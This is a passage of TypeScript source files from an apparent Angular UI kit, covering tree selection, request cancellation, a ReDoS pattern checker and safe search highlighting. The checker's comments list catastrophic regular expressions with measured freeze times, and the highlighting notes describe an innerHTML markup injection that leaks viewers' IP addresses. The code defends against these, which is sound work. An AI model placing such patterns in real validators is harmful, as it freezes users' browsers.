{@link svHrefLinkAdapter}, so a component works — renders real\n * links, navigates, is shareable — with nothing provided at all.\n */\nexport const SV_LINK_ADAPTER = new InjectionToken<SvLinkAdapter>('SvLinkAdapter', {\n  providedIn: 'root',\n  factory: svHrefLinkAdapter,\n});\n\n/**\n * Wire a link adapter in — as a value, or as a factory when it needs injection.\n *\n * ★ **The factory form is the one a real adapter needs, and the value form is a\n * trap worth naming.** Every useful adapter reaches a router, and `inject()`\n * inside `href` or `navigate` runs when a template calls it — outside any\n * injection context — which throws `NG0203` at click time rather than at\n * startup. Passing a factory means the injection happens once, where it is\n * legal, and the returned closure just uses what it captured.\n *\n * @example\n * // app.config.ts — the Angular router version, in ten lines.\n * providers: [\n *   provideSvLinkAdapter(() => {\n *     const router = inject(Router);\n *     const tree = (t: SvLinkTarget) => (typeof t === 'string' ? router.parseUrl(t) : router.createUrlTree([...t]));\n *     return {\n *       kind: 'angular-router',\n *       href: (t) => router.serializeUrl(tree(t)),\n *       navigate: (t) => { void router.navigateByUrl(tree(t)); return true; },\n *     };\n *   }),\n * ]\n */\nexport function provideSvLinkAdapter(\n  adapter: SvLinkAdapter | (() => SvLinkAdapter),\n): EnvironmentProviders {\n  return makeEnvironmentProviders([\n    typeof adapter === 'function'\n      ? { provide: SV_LINK_ADAPTER, useFactory: adapter }\n      : { provide: SV_LINK_ADAPTER, useValue: adapter },\n  ]);\n}\n\n/**\n * Whether a click is the browser's own gesture rather than a plain activation.\n *\n * ★ Shared so the answer cannot drift between components. Cancelling a\n * ⌘/Ctrl/Shift/Alt or middle click takes \"open in a new tab\" away from a\n * navigation control, which is where people use it most — `sv-mega-menu` reached\n * this conclusion independently and this is the same rule, in one place.\n */\nexport function svIsModifiedClick(event: Event): boolean {\n  const mouse = event as MouseEvent;\n  return Boolean(\n    mouse.metaKey || mouse.ctrlKey || mouse.shiftKey || mouse.altKey || mouse.button === 1,\n  );\n}\n","/**\n * Tri-state selection over a tree: tick down, roll up, and what \"partly\" means.\n *\n * ── Why this is in core (`FI-05-M2`, `FI-06-V1`, Data Display's `DD-45`) ────\n *\n * ★★★ THE BACKLOG SAYS \"ONE OWNER\" ABOUT THESE THREE ITEMS AND IT IS RIGHT.\n *     `sv-tree-view` already had a correct implementation, `sv-tree-select`\n *     had none, and a checkbox tree was filed a third time under Data Display.\n *     Three copies of this algorithm is three chances to get the `disabled`\n *     rule subtly different — and that rule is the one with teeth.\n *\n * ── ★★★ THE RULE THAT MATTERS: `disabled` IS THE WHOLE RULE, DOWN AND UP ───\n *\n * `sv-tree-view` shipped a version that reached past `disabled`: the box of a\n * disabled node was correctly refused, and then its PARENT'S box ticked it\n * anyway. A read-only row the user could not have selected arrived in the\n * change event regardless, and the host granted, exported or deleted on that\n * basis. This module carries that fix rather than inviting each caller to\n * rediscover it.\n *\n *   DOWN  a tick reaches every **enabled** descendant; a disabled one keeps the\n *         state it had, whichever direction the parent moved.\n *   UP    a branch is ticked when every enabled child is, **indeterminate**\n *         while only some are, and a branch whose children are all disabled\n *         follows only its own box.\n *\n * ⚠️ THESE FUNCTIONS TAKE A SHAPE, NOT A COMPONENT'S NODE TYPE.\n *    `sv-tree-view` keys on `id`, `sv-tree-select` on `value`, and the Data\n *    Display tree on neither yet. A `keyOf` accessor is the seam; a shared\n *    interface would have forced two components to rename their public fields\n *    to reuse an internal algorithm.\n */\n\nexport interface SvTriStateAdapter<T> {\n  /** This node's stable identity. */\n  keyOf(node: T): string;\n  /** Children, or nothing for a leaf. */\n  childrenOf(node: T): readonly T[] | undefined;\n  /** `true` when the user cannot change this node's own box. */\n  disabledOf(node: T): boolean;\n}\n\n/**\n * The keys a tick on `node` may reach.\n *\n * ★ A disabled node AND ITS WHOLE SUBTREE are skipped. Descending through a\n *   disabled branch to reach enabled grandchildren would let a parent tick\n *   something the user cannot see a path to, which is the same defect one level\n *   deeper.\n */\nexport function svCheckableDescendants<T>(node: T, a: SvTriStateAdapter<T>): string[] {\n  return (a.childrenOf(node) ?? [])\n    .filter((c) => !a.disabledOf(c))\n    .flatMap((c) => [a.keyOf(c), ...svCheckableDescendants(c, a)]);\n}\n\n/**\n * Toggle `node`, cascade down, and roll every ancestor up. Returns a new Set.\n *\n * ⚠️ IT RETURNS A NEW SET rather than mutating. The caller usually holds the\n *    old one in a signal, and a mutated Set is the same reference — so nothing\n *    re-renders and the bug looks like a template problem.\n */\nexport function svToggleTriState<T>(\n  roots: readonly T[],\n  node: T,\n  checked: ReadonlySet<string>,\n  a: SvTriStateAdapter<T>,\n): Set<string> {\n  const next = new Set(checked);\n  if (a.disabledOf(node)) return next;\n\n  const key = a.keyOf(node);\n  const descendants = svCheckableDescendants(node, a);\n\n  if (next.has(key)) {\n    next.delete(key);\n    for (const d of descendants) next.delete(d);\n  } else {\n    next.add(key);\n    for (const d of descendants) next.add(d);\n  }\n\n  svRollUpTriState(roots, next, a);\n  return next;\n}\n\n/**\n * Bring every branch into line with its enabled children. Mutates `checked`.\n *\n * ★★ DEPTH FIRST, because a branch's own state depends on children that are\n *    themselves branches. Rolling up in the wrong order settles a parent\n *    against children that have not been settled yet, and the result is stable\n *    but wrong — which is the worst kind, since re-running does not fix it.\n */\nexport function svRollUpTriState<T>(\n  nodes: readonly T[],\n  checked: Set<string>,\n  a: SvTriStateAdapter<T>,\n): void {\n  for (const n of nodes) {\n    const kids = a.childrenOf(n);\n    if (!kids?.length) continue;\n    svRollUpTriState(kids, checked, a);\n\n    // Nothing enabled below to complete the set, or the branch itself is\n    // locked: its box stands for the branch alone, so a roll-up must not move\n    // it. Otherwise a folder of read-only children could never be ticked, and\n    // clicking its box would have looked broken.\n    const rollUp = kids.filter((c) => !a.disabledOf(c));\n    if (!rollUp.length || a.disabledOf(n)) continue;\n\n    if (rollUp.every((c) => checked.has(a.keyOf(c)))) checked.add(a.keyOf(n));\n    else checked.delete(a.keyOf(n));\n  }\n}\n\n/**\n * The branches that are partly selected.\n *\n * ★★ A BRANCH IS INDETERMINATE IF ANY DESCENDANT IS CHECKED **OR\n *    INDETERMINATE** — which is why this walks depth first and reads its own\n *    result set as it goes. Checking only immediate children makes a\n *    grandparent look empty while a grandchild is ticked, and the user sees a\n *    blank box above a half-filled one.\n */\nexport function svIndeterminateKeys<T>(\n  roots: readonly T[],\n  checked: ReadonlySet<string>,\n  a: SvTriStateAdapter<T>,\n): Set<string> {\n  const result = new Set<string>();\n\n  const walk = (nodes: readonly T[]): void => {\n    for (const n of nodes) {\n      const kids = a.childrenOf(n);\n      if (!kids?.length) continue;\n      walk(kids);\n\n      const rollUp = kids.filter((c) => !a.disabledOf(c));\n      if (!rollUp.length) continue;\n\n      const some = rollUp.some((c) => checked.has(a.keyOf(c)) || result.has(a.keyOf(c)));\n      const all = rollUp.every((c) => checked.has(a.keyOf(c)));\n      if (some && !all) result.add(a.keyOf(n));\n    }\n  };\n\n  walk(roots);\n  return result;\n}\n\n/**\n * Re-apply a ticked branch to children that have only just arrived.\n *\n * ★★ A LAZY BRANCH HAS NO CHILDREN TO REACH WHEN IT IS TICKED, so the tick\n *    stands for a set the component cannot see. When the load lands, the folder\n *    is ticked and every file in it is not — while the change event has already\n *    told the host \"the whole folder\", which is what the user meant. A ticked\n *    branch must cascade to whatever turns up inside it.\n *\n * @returns `true` when anything changed, so a caller can skip an emit.\n */\nexport function svCascadeToNewChildren<T>(\n  roots: readonly T[],\n  checked: Set<string>,\n  a: SvTriStateAdapter<T>,\n): boolean {\n  if (!checked.size) return false;\n  const before = checked.size;\n\n  const cascade = (nodes: readonly T[], inherited: boolean): void => {\n    for (const n of nodes) {\n      const key = a.keyOf(n);\n      const mine = inherited && !a.disabledOf(n);\n      if (mine) checked.add(key);\n      const kids = a.childrenOf(n);\n      if (kids?.length) cascade(kids, mine || checked.has(key));\n    }\n  };\n\n  cascade(roots, false);\n  return checked.size !== before;\n}\n","import { computed, signal, type Signal } from '@angular/core';\n\n/**\n * Several requests in flight at once, each cancellable on its own.\n *\n * ── The gap this fills (`FI-05-M1`, `FI-03-M3`) ─────────────────────────────\n *\n * ★★★ `createRequestGuard` IS SINGLE-FLIGHT, AND THAT IS RIGHT FOR A SEARCH\n *     BOX: one term, one answer, and a newer keystroke supersedes the older\n *     request. It is exactly wrong for a TREE. Expanding three folders means\n *     three requests that are not refinements of each other — settling one must\n *     not discard the other two, and collapsing one branch must not cancel its\n *     siblings.\n *\n * ★★★ TWO BACKLOG ITEMS ARE THE SAME PROBLEM. `FI-05-M1` says `sv-tree-select`\n *     \"has `loading`/`error` and no loader input at all\"; `FI-03-M3` says\n *     `sv-cascader` has no \"cancellation of a branch the user has navigated\n *     away from\". One is the missing feature and the other is the missing\n *     cancellation, and a component that had the feature without the\n *     cancellation would have the second bug by construction.\n *\n * ── ★★★ WHY A BRANCH THE USER LEFT MUST BE CANCELLED ───────────────────────\n *\n * A user opens a folder, waits, gets bored, collapses it and opens another.\n * Without cancellation the first request is still coming, and when it lands the\n * component inserts children into a branch that is no longer on screen —\n * usually harmlessly, occasionally by re-expanding it under the user's cursor,\n * and always by holding memory and a connection nobody is waiting for. On a\n * deep tree browsed quickly that is dozens of live requests.\n */\n\nexport interface SvKeyedRequestGuard {\n  /**\n   * Start a request for `key`, cancelling any earlier one for the SAME key.\n   * Returns the token to hand back to `settle`.\n   *\n   * ⚠️ It does NOT touch other keys. That is the whole difference from\n   *    `createRequestGuard`.\n   */\n  take(key: string): number;\n  /**\n   * `true` when this response is still the newest for its key. `false` means it\n   * was superseded or cancelled, and the caller must drop it on the floor.\n   */\n  settle(key: string, token: number): boolean;\n  /** Abort the in-flight request for `key`, if any. */\n  cancel(key: string): void;\n  /** Abort everything. For `ngOnDestroy`, and for a tree being replaced. */\n  cancelAll(): void;\n  /** The `AbortSignal` for `key`'s current request, or `undefined`. */\n  signalFor(key: string): AbortSignal | undefined;\n  /** `true` while a request for `key` is outstanding. */\n  isPending(key: string): boolean;\n  /** Every key with a request outstanding — drives per-row spinners. */\n  readonly pending: Signal<ReadonlySet<string>>;\n}\n\n/** Why an abort happened, so a caller can tell it from a network failure. */\nexport const SV_SUPERSEDED = 'sv-superseded';\n\nexport function svKeyedRequestGuard(): SvKeyedRequestGuard {\n  const latest = new Map<string, number>();\n  const controllers = new Map<string, AbortController>();\n  const pendingKeys = signal<ReadonlySet<string>>(new Set());\n\n  const publish = (): void => pendingKeys.set(new Set(controllers.keys()));\n\n  const abort = (key: string): void => {\n    const c = controllers.get(key);\n    if (!c) return;\n    c.abort(SV_SUPERSEDED);\n    controllers.delete(key);\n  };\n\n  return {\n    take(key) {\n      abort(key);\n      const token = (latest.get(key) ?? 0) + 1;\n      latest.set(key, token);\n      controllers.set(key, new AbortController());\n      publish();\n      return token;\n    },\n\n    settle(key, token) {\n      // ★★ A CANCELLED REQUEST MUST NOT SETTLE. `cancel` deletes the\n      //    controller but leaves `latest` alone, so a late response from the\n      //    cancelled request still carries the current token — which would\n      //    make it look current. Checking the controller is what distinguishes\n      //    \"still wanted\" from \"was wanted when it started\".\n      if (latest.get(key) !== token || !controllers.has(key)) return false;\n      controllers.delete(key);\n      publish();\n      return true;\n    },\n\n    cancel(key) {\n      abort(key);\n      publish();\n    },\n\n    cancelAll() {\n      for (const key of [...controllers.keys()]) abort(key);\n      publish();\n    },\n\n    signalFor: (key) => controllers.get(key)?.signal,\n    isPending: (key) => controllers.has(key),\n    pending: computed(() => pendingKeys()),\n  };\n}\n","/**\n * Compiling a regular expression that someone else wrote.\n *\n * ★★★ A HOST-SUPPLIED `pattern` IS UNTRUSTED CODE THAT RUNS ON THE MAIN THREAD,\n *     AND THE KIT COMPILED IT THREE TIMES WITHOUT SAYING SO. `sv-form-builder`\n *     takes its whole schema from a server; `sv-input-field` (both tiers) takes\n *     `pattern` as an input a host may well be filling from a CMS. All three did\n *     `new RegExp('^(?:' + pattern + ')$')` and tested it against the field's\n *     value on **every keystroke**.\n *\n * ── What that costs, measured ───────────────────────────────────────────────\n *\n * ★★★ MEASURED, NODE 24 / V8, ONE `.test()` CALL, INPUT 30 CHARACTERS LONG:\n *\n *         (a|a?)+b        32,911 ms\n *         (x|x)*y          5,954 ms\n *         (a*)*b           4,228 ms\n *         ([a-zA-Z]+)*$    2,289 ms\n *         (a+)+b           1,895 ms\n *\n *     One keystroke. Main thread. No way to cancel it — the tab is not slow,\n *     it is gone. Each further character roughly doubles the figure. Every one\n *     of those patterns is under fifteen bytes and reads like a typo rather\n *     than an attack, which is exactly what makes it a good one.\n *\n * ★★ AND AN INVALID PATTERN WAS WORSE IN A DIFFERENT WAY. `new RegExp` throws\n *    `SyntaxError` on `(`, and in `sv-form-builder` that throw happens inside a\n *    `computed()` — so one unbalanced bracket in a CMS field does not fail the\n *    field, it takes down the form. `sv-input-field` caught it and then\n *    **silently skipped validation**, which is the opposite failure: a field\n *    advertised as validated that validates nothing and says nothing.\n *\n * ── Why this is static analysis and not a timeout ───────────────────────────\n *\n * ⚠️ THERE IS NO TIMEOUT AVAILABLE. JavaScript cannot interrupt a regex match;\n *    that is precisely the property being exploited. \"Run it and give up after\n *    50ms\" is not implementable — measuring the danger *is* the denial of\n *    service. A Worker could be terminated, but a form control cannot spawn one\n *    per keystroke. Refusing to compile is the only move left.\n *\n * ⚠️ AND THIS IS A HEURISTIC, WHICH IS STATED RATHER THAN HIDDEN. Deciding\n *    whether an arbitrary regex backtracks catastrophically is not something a\n *    hundred lines can do. What it does catch is the two shapes that account for\n *    essentially every real-world case, and it is deliberately biased towards\n *    rejecting: a wrongly-rejected pattern is a schema problem a human reads and\n *    fixes in a minute, and a wrongly-accepted one is a frozen browser. The\n *    limits are listed at `KNOWN GAPS` below, because a checker whose gaps are\n *    undocumented gets mistaken for a guarantee.\n */\n\n/** Why a pattern was refused. */\nexport type SvPatternProblem =\n  /** `new RegExp` threw — the pattern is not a regular expression at all. */\n  | 'invalid'\n  /** Structurally liable to catastrophic backtracking. */\n  | 'catastrophic';\n\nexport interface SvPatternResult {\n  /** The anchored, compiled expression — `null` whenever `problem` is set. */\n  readonly regexp: RegExp | null;\n  readonly problem?: SvPatternProblem;\n  /** One sentence, written for whoever authored the pattern. */\n  readonly reason?: string;\n}\n\nexport interface SvCompilePatternOptions {\n  /**\n   * Compile even when the pattern looks catastrophic. For a host that authored\n   * its own patterns and has hit a false positive.\n   *\n   * ⚠️ It does not disable the `invalid` check, because there is nothing to\n   *    trust there — a pattern that does not parse cannot be run whatever anyone\n   *    believes about its provenance.\n   */\n  readonly allowUnsafe?: boolean;\n  /**\n   * Wrap in `^(?:…)$`. @default true\n   *\n   * ★★ ANCHORING IS THE DEFAULT BECAUSE UNANCHORED VALIDATION IS THE SINGLE MOST\n   *    COMMON PATTERN BUG IN SCHEMA FORMS: `\\d{4}` unanchored matches `12345`\n   *    and `not-a-year-1999`, so a \"validated\" field accepts anything that\n   *    merely contains a match. `(?:…)` and not `(…)` so the author's own group\n   *    numbering is untouched.\n   */\n  readonly anchor?: boolean;\n}\n\n/* ────────────────────────────────────────────────────────────────────────────\n *  A very small regex scanner\n *\n *  Enough structure to answer \"what is quantified, and what is inside it\" —\n *  not a parser. Regex-on-regex was not an option: character classes contain\n *  unescaped `(`, `)` and `|`, escapes contain `[`, and every one of those\n *  breaks a pattern-matching approach silently.\n * ──────────────────────────────────────────────────────────────────────────── */\n\ninterface Group {\n  /** Index of the `(` . */\n  readonly start: number;\n  /** Index of the matching `)`. */\n  readonly end: number;\n  /** Body between the parentheses, with any `(?:` / `(?<name>` prefix removed. */\n  readonly body: string;\n  /** Quantifier immediately after the `)`, or `''`. */\n  readonly quantifier: string;\n  /** Offsets of `|` at this group's top level, relative to the whole source. */\n  readonly alternations: readonly number[];\n}\n\nconst UNBOUNDED = /^(?:[*+]|\\{\\d+,\\}|\\{\\d+,\\d{3,}\\})/;\n\n/** `true` for a quantifier that permits a large number of repetitions. */\nfunction isUnbounded(quantifier: string): boolean {\n  return UNBOUNDED.test(quantifier);\n}\n\n/** Read the quantifier starting at `i`, or `''`. Includes a lazy/possessive `?`. */\nfunction readQuantifier(source: string, i: number): string {\n  const rest = source.slice(i);\n  const m = /^(?:[*+?]|\\{\\d+(?:,\\d*)?\\})\\??/.exec(rest);\n  return m ? m[0] : '';\n}\n\n/**\n * Walk `source`, returning every group with its body and quantifier.\n *\n * ★ Character classes are skipped wholesale. `[()]` is two literal characters\n *   and treating them as a group produces nonsense that then fails to close —\n *   a scanner that got this wrong would flag or miss patterns at random.\n */\nfunction scanGroups(source: string): Group[] {\n  const groups: Group[] = [];\n  const open: { start: number; bodyStart: number; alternations: number[] }[] = [];\n  let i = 0;\n\n  while (i < source.length) {\n    const ch = source[i];\n\n    if (ch === '\\\\') {\n      i += 2;\n      continue;\n    }\n\n    if (ch === '[') {\n      i++;\n      if (source[i] === '^') i++;\n      if (source[i] === ']') i++; // a `]` first is a literal `]`\n      while (i < source.length && source[i] !== ']') {\n        i += source[i] === '\\\\' ? 2 : 1;\n      }\n      i++;\n      continue;\n    }\n\n    if (ch === '(') {\n      // `(?:`, `(?<name>`, `(?=`, `(?!`, `(?<=`, `(?<!` — the body starts after\n      // whichever of those is present.\n      const prefix = /^\\((\\?:|\\?<[A-Za-z_$][\\w$]*>|\\?<?[=!])?/.exec(source.slice(i));\n      const bodyStart = i + (prefix?.[0].length ?? 1);\n      open.push({ start: i, bodyStart, alternations: [] });\n      i = bodyStart;\n      continue;\n    }\n\n    if (ch === ')') {\n      const g = open.pop();\n      if (g) {\n        const quantifier = readQuantifier(source, i + 1);\n        groups.push({\n          start: g.start,\n          end: i,\n          body: source.slice(g.bodyStart, i),\n          quantifier,\n          alternations: g.alternations,\n        });\n      }\n      i++;\n      continue;\n    }\n\n    if (ch === '|' && open.length > 0) {\n      open[open.length - 1].alternations.push(i);\n    }\n\n    i++;\n  }\n\n  return groups;\n}\n\n/**\n * Does `body` contain an unbounded quantifier at any depth?\n *\n * Skips escapes and character classes for the same reason `scanGroups` does —\n * `[*+]` is two literal characters, and `\\+` is a literal plus.\n */\nfunction containsUnboundedQuantifier(body: string): boolean {\n  let i = 0;\n  while (i < body.length) {\n    const ch = body[i];\n    if (ch === '\\\\') {\n      i += 2;\n      continue;\n    }\n    if (ch === '[') {\n      i++;\n      if (body[i] === '^') i++;\n      if (body[i] === ']') i++;\n      while (i < body.length && body[i] !== ']') i += body[i] === '\\\\' ? 2 : 1;\n      i++;\n      continue;\n    }\n    if (ch === '*' || ch === '+') return true;\n    if (ch === '{') {\n      const m = /^\\{\\d+,\\d*\\}/.exec(body.slice(i));\n      if (m && isUnbounded(m[0])) return true;\n    }\n    i++;\n  }\n  return false;\n}\n\n/**\n * The set of characters an alternation branch can start with — or `null` for\n * \"cannot tell\".\n *\n * ★★ `null` IS TREATED AS OVERLAPPING WITH EVERYTHING, which is what makes this\n *    safe to be bad at. `(\\s|\\S)+` is the textbook catastrophic alternation and\n *    its branches are classes this function will not enumerate; answering\n *    \"unknown\" flags it. The cost is that some disjoint class alternations are\n *    refused too, and that cost is a sentence in a schema-problems list.\n */\nfunction firstChars(branch: string): Set<string> | null {\n  const b = branch.trimStart();\n  if (b === '') return null;\n  const ch = b[0];\n  if (ch === '\\\\' || ch === '[' || ch === '.' || ch === '(' || ch === '^') return null;\n  if (ch === '*' || ch === '+' || ch === '?' || ch === '{') return null;\n  // A literal, but only if it is not immediately made optional — `a?bc` can\n  // also start with `b`, and claiming `{a}` there would be wrong in the\n  // direction that matters.\n  if (b[1] === '?' || b[1] === '*') return null;\n  return new Set([ch]);\n}\n\n/** Can two branches begin with the same character? `null` means \"assume yes\". */\nfunction branchesOverlap(branches: readonly string[]): boolean {\n  const sets = branches.map(firstChars);\n  if (sets.some((s) => s === null)) return true;\n  const seen = new Set<string>();\n  for (const set of sets as Set<string>[]) {\n    for (const c of set) {\n      if (seen.has(c)) return true;\n      seen.add(c);\n    }\n  }\n  return false;\n}\n\n/** Split a group body on the top-level `|` offsets the scanner recorded. */\nfunction branchesOf(group: Group, source: string): string[] {\n  if (group.alternations.length === 0) return [group.body];\n  const bodyStart = group.end - group.body.length;\n  const cuts = [bodyStart, ...group.alternations, group.end];\n  const out: string[] = [];\n  for (let i = 0; i < cuts.length - 1; i++) {\n    out.push(source.slice(i === 0 ? cuts[0] : cuts[i] + 1, cuts[i + 1]));\n  }\n  return out;\n}\n\n/**\n * Is this pattern structurally liable to catastrophic backtracking?\n *\n * ── The two shapes ──────────────────────────────────────────────────────────\n *\n * **R1 — nested quantifier.** `(a+)+`, `(a*)*`, `(\\d{2,})+`: an unbounded\n * quantifier applied to a group that itself repeats unboundedly. The engine has\n * exponentially many ways to divide the input between the two, and on a\n * non-match it tries all of them. This is the shape in essentially every\n * published ReDoS.\n *\n * **R2 — quantified alternation with overlapping branches.** `(x|x)*`,\n * `(a|ab)+`, `(\\s|\\S)*`: the same explosion arrived at through the alternation\n * instead. A quantified alternation whose branches start with *different*\n * characters — `(cat|dog)+` — is fine and is not flagged.\n *\n * ★★ R2 IS FLAGGED MORE BROADLY THAN V8 ALONE WOULD JUSTIFY, ON PURPOSE.\n *    Measured above, `(x|x)*y` costs V8 6 seconds — but `(a|ab)+c` and\n *    `(\\s|\\S)+$`, the two textbook examples, complete instantly there. V8\n *    recognises and collapses those particular shapes. **That optimisation is\n *    not in any specification**, it is not present in every version, and this\n *    kit ships to JavaScriptCore and SpiderMonkey as well — where the general\n *    backtracking cost is what applies. Refusing a pattern that one engine\n *    happens to handle is a sentence in a problem list; accepting one that\n *    another engine does not is a frozen Safari.\n *\n * ── ★★ KNOWN GAPS, stated because an undocumented gap reads as a guarantee ──\n *\n *  • Adjacent overlapping quantifiers other than the `.` case below — `\\d+\\d+`,\n *    `[a-z]*[a-z]*` — are not detected. They are quadratic rather than\n *    exponential, which is survivable at the input lengths a form field holds.\n *  • Backreferences and lookaround have their own pathologies and are not\n *    analysed at all.\n *  • The overlap test looks at first characters only. `(ab|ac)+` has disjoint\n *    *strings* per first character and passes; `(abc|abd)+` likewise. Neither\n *    is exponential, so this is the right side to be wrong on.\n */\nexport function svIsCatastrophicPattern(source: string): string | null {\n  const groups = scanGroups(source);\n\n  for (const g of groups) {\n    if (!isUnbounded(g.quantifier)) continue;\n\n    if (containsUnboundedQuantifier(g.body)) {\n      return `a repeating group that itself repeats — \"(${g.body})${g.quantifier}\"`;\n    }\n\n    if (g.alternations.length > 0 && branchesOverlap(branchesOf(g, source))) {\n      return `a repeating group whose alternatives can match the same text — \"(${g.body})${g.quantifier}\"`;\n    }\n  }\n\n  // `.*.*` / `.+.+`: two unbounded wildcards in a row, which is the one\n  // quantifier-adjacency case common enough and cheap enough to name.\n  if (/(?<!\\\\)\\.[*+]\\.[*+]/.test(source)) {\n    return 'two unbounded wildcards in a row — \".*.*\"';\n  }\n\n  return null;\n}\n\n/**\n * Compile a pattern someone else wrote, or say why not.\n *\n * ★★ IT NEVER THROWS AND IT NEVER RETURNS A REGEXP IT WOULD NOT RUN. Those two\n *    together are the contract: a caller can use `regexp` when it is non-null\n *    and report `reason` when it is not, and has no third case to get wrong.\n */\nexport function svCompilePattern(\n  source: string,\n  options: SvCompilePatternOptions = {},\n): SvPatternResult {\n  const { allowUnsafe = false, anchor = true } = options;\n\n  if (!allowUnsafe) {\n    const risk = svIsCatastrophicPattern(source);\n    if (risk !== null) {\n      return {\n        regexp: null,\n        problem: 'catastrophic',\n        reason:\n          `This pattern can take exponentially long to reject some inputs (${risk}), ` +\n          `which would freeze the browser. Rewrite it, or set allowUnsafe if you are certain.`,\n      };\n    }\n  }\n\n  try {\n    return { regexp: new RegExp(anchor ? `^(?:${source})$` : source) };\n  } catch (error) {\n    return {\n      regexp: null,\n      problem: 'invalid',\n      reason: `This is not a valid regular expression: ${(error as Error).message}`,\n    };\n  }\n}\n","/**\n * Marking the query inside a result label.\n *\n * ── Why this is in `security/` and not in a `text/` folder ──────────────────\n *\n * ★★★ THE ONLY INTERESTING THING ABOUT HIGHLIGHTING IS THAT THE OBVIOUS\n *     IMPLEMENTATION IS AN INJECTION. `label.replace(re, '<mark>$1</mark>')`\n *     bound to `[innerHTML]` is what everyone writes, it is four lines, and it\n *     takes a string the component did not author and hands it to the HTML\n *     parser. `sv-autocomplete` shipped exactly that (`FI-01-I3`).\n *\n *     Angular's `[innerHTML]` sanitiser stops script execution, so this was\n *     never a `<script>` hole — but it strips scripts, not markup. `<b>`, `<i>`,\n *     `<a href>` and `<img src>` all survive, which means a label from a\n *     suggestion API could restyle the row, insert a link, or point an `<img>`\n *     at a host of its choosing and collect every viewer's IP address and\n *     User-Agent as the list scrolls past. No click required.\n *\n * ★★★ SO THE FIX IS NOT TO ESCAPE HARDER — IT IS TO STOP BUILDING HTML.\n *     Returning runs of text lets the template write `<mark>` itself, through\n *     `@for` / `@if`, and the label travels as an interpolated string that\n *     Angular escapes for free. There is no HTML string anywhere for anything\n *     to be injected into. Escaping the label before the `replace` would also\n *     have worked and is worse: it leaves a hand-built HTML string one careless\n *     edit away from being wrong again, and it breaks the highlight the moment\n *     someone searches for `&` (which now sits inside `&amp;`).\n *\n * ── 🔺 THE KIT ALREADY HAD THIS, THREE TIMES ────────────────────────────────\n *\n * `sv-tree-view` and `sv-command-palette` had both independently written the\n * segment version, correctly, with near-identical code and a comment each\n * saying \"Safe: no innerHTML\". `sv-search-bar` had a third shape\n * (`{ pre, match, post }`). Only `sv-autocomplete` got it wrong — and the\n * reason it could is that the correct answer was sitting in two other packages\n * where nothing could import it. Same story as the sanitiser in this folder;\n * same fix.\n */\n\n/** One run of characters in a label, flagged as matching the query or not. */\nexport interface SvHighlightSegment {\n  readonly text: string;\n  /** When true, this run is part of the current query and should be marked. */\n  readonly match: boolean;\n}\n\n/** The whole label as one unmatched run — what an empty query produces. */\nfunction whole(text: string): SvHighlightSegment[] {\n  return [{ text, match: false }];\n}\n\n/**\n * Split `text` into runs matching `query` and runs that do not.\n *\n * Case-insensitive, and **every** occurrence is marked rather than the first.\n *\n * ★★ THE SLICES COME OUT OF `text`, NOT OUT OF `query`. Rejoining the segments\n *    has to reproduce the original label exactly, including its capitalisation —\n *    a search for `paris` must still render `Paris`. Taking the matched run from\n *    the query is the mistake that silently lower-cases half the results, and it\n *    is invisible until someone types in the wrong case.\n *\n * ⚠️ `indexOf` on a lower-cased copy, deliberately, rather than a `RegExp` built\n *    from the query. A query is user input: `(` is a `SyntaxError` and `(a+)+`\n *    is a frozen tab (see `pattern.ts` for the measured cost). Escaping the\n *    query for regex works and is what `sv-autocomplete` did; not building a\n *    regex at all is shorter and has nothing to get wrong.\n *\n * ⚠️ ALSO NOT LOCALE-AWARE. `toLowerCase()` matches what every other search in\n *    the kit does, and `localeCompare` has no substring-search equivalent to\n *    borrow. Turkish dotless ı and German ß do not fold the way a Turkish or\n *    German reader expects. Said plainly here rather than discovered later.\n */\nexport function svHighlightSegments(text: string, query: string): SvHighlightSegment[] {\n  const q = query.trim();\n  if (!q || !text) return whole(text);\n\n  const haystack = text.toLowerCase();\n  const needle = q.toLowerCase();\n  const segments: SvHighlightSegment[] = [];\n\n  let from = 0;\n  for (let i = haystack.indexOf(needle); i !== -1; i = haystack.indexOf(needle, from)) {\n    if (i > from) segments.push({ text: text.slice(from, i), match: false });\n    segments.push({ text: text.slice(i, i + needle.length), match: true });\n    from = i + needle.length;\n  }\n  if (from < text.length) segments.push({ text: text.slice(from), match: false });\n\n  return segments.length > 0 ? segments : whole(text);\n}\n\n/**\n * Build segments from an explicit set of matched character indices.\n *\n * For a fuzzy matcher, which knows *which characters* it matched rather than a\n * substring — `sv-command-palette`'s subsequence mode is the caller.\n *\n * ★ Adjacent indices are coalesced into one run, so `Set` order does not\n *   matter and the caller does not have to sort. Three consecutive matched\n *   characters produce one `<mark>` rather than three, which is the difference\n *   between a highlight and a stutter.\n */\nexport function svHighlightPositions(\n  text: string,\n  positions: Iterable<number>,\n): SvHighlightSegment[] {\n  const hit = positions instanceof Set ? positions : new Set(positions);\n  if (hit.size === 0 || !text) return whole(text);\n\n  const segments: SvHighlightSegment[] = [];\n  let buffer = '';\n  let bufferMatch = hit.has(0);\n\n  for (let i = 0; i < text.length; i++) {\n    const isMatch = hit.has(i);\n    if (isMatch !== bufferMatch && buffer) {\n      segments.push({ text: buffer, match: bufferMatch });\n      buffer = '';\n    }\n    bufferMatch = isMatch;\n    buffer += text[i];\n  }\n  if (buffer) segments.push({ text: buffer, match: bufferMatch });\n\n  return segments.length > 0 ? segments : whole(text);\n}\n","/**\n * ============================================================================\n *  Building a selector from a value somebody else chose\n * ============================================================================\n *\n * ★★★ `CSS.escape` IS THE WRONG TOOL HERE, AND IT IS ALSO NOT ALWAYS THERE.\n *     Both halves matter, and the repo had learned each one separately:\n *\n *   1. **It escapes IDENTIFIERS.** `CSS.escape` exists to make a string safe as\n *      a bare `#id` or `.class`, so it escapes everything illegal in an\n *      identifier — a leading digit, spaces, punctuation. Inside a **quoted\n *      attribute value** none of that can end the string: only `\"` and `\\` can.\n *      The result is not usually *broken* — CSS processes those escapes inside\n *      strings too, so `\"\\32 026-09-21\"` still resolves to `2026-09-21` — it is\n *      **needless**, and being needless is what hid the second problem. Reaching\n *      for a capability probe at all implies the capability is needed.\n *\n *   2. ★★ **It is not defined in jsdom, and it is a `window` property, so\n *      `CSS?.escape` DOES NOT GUARD IT.** Optional chaining protects against a\n *      declared binding holding `null`/`undefined`; it does nothing for an\n *      identifier that was never declared, which throws `ReferenceError`\n *      before the `?.` is reached. `sv-ai-chat` had exactly that inside a\n *      `try`, so its clipboard fallback silently selected nothing while the UI\n *      told the reader their text *was* selected — an affordance that reports\n *      success and does not happen. `sv-sidebar` had the unguarded form inside\n *      a `requestAnimationFrame`, where the throw is 